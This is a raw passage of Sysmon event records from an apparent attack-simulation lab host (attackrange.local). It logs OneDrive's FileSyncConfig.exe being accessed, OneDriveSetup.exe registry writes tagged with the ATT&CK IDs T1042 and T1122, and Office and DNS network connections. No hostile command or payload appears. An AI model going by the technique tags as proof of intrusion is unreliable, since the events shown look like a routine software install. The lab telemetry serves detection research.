14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10fe5|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e 10341000x800000000000000044131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b709(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10fa1|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b68a(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10fa1|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10fa1|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e 10341000x800000000000000044128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10fa1|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e 10341000x800000000000000044127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b709(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10f69|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b68a(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10f69|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10f69|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e 10341000x800000000000000044124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10f69|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e 10341000x800000000000000044123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+2995e(wow64)|C:\Windows\System32\shcore.dll+29cab(wow64)|C:\Windows\System32\SHELL32.dll+19a270(wow64)|C:\Windows\System32\SHELL32.dll+15b34f(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10f69|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64) 10341000x800000000000000044122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+19a262(wow64)|C:\Windows\System32\SHELL32.dll+15b34f(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10f69|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e 10341000x800000000000000044121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+19a262(wow64)|C:\Windows\System32\SHELL32.dll+15b34f(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10f69|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e 10341000x800000000000000044120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-3109-00000000F001}4964C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-3109-00000000F001}4964C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk2021-09-10 14:44:44.852 13241300x800000000000000044117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:44:44.802{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\odopen\shell\open\command\(Default)"C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /url:"%%1" 13241300x800000000000000044116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:44:44.802{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\odopen\shell\open\command\(Default)"C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /url:"%%1" 13241300x800000000000000044115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.802{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\InProcServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileCoAuthLib64.dll 13241300x800000000000000044114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.802{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\InProcServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuthLib.dll 354300x800000000000000044113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.079{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59247-false52.109.16.2-443https 354300x800000000000000044112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.541{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59245-false52.109.16.2-443https 354300x800000000000000044111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.519{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59244-false52.109.12.20-443https 354300x800000000000000044110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.464{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59246-false13.107.6.158bingforbusiness.com443https 354300x800000000000000044109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.428{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58189- 354300x800000000000000044108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.370{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT 